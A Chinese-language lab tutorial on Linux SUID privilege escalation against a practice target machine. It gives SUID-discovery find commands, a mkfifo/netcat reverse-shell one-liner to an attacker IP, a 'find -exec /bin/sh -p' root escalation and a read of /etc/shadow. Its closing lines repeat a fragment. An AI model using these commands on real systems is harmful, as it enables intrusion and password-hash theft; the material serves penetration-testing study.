suid提权
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行
时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么
该执行程序运行的时候将拥有ROOT权限。
以下命令可以发现系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
// 2>/dev/null 就表示错误导入到/dev/null这个文件中,但是这个目录是不记录任何文件的,所以不会留下记录
进入这个网站查看利用方法:
https://gtfobins.github.io/
点击suid,
1.kali 开启端口监听
nc -lvnp 8888
2.在靶机上的shell上输入命令
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.121.133 8888 >/tmp/f'); //ip为kali 端口则是和上面的一样
然后会发现无效,这是因为没有进行url编码,我们使用工具进行编码就行了。
成功后就会这个样子:
3.然后用python调用终端(不调用有些指令没有用)
python3 -c 'import pty;pty.spawn("/bin/bash")'
先看看权限,是普通权限
4.再执行这行命令,就能提权成功了:
find . -exec /bin/sh -p \; -quit
如果有乱码输入 bash 就行了
然后在执行上面的命令
5.然后查看文件
cat /etc/shadow
有文件输出就是成功了
6.常见suid提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
功了
6.常见suid提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget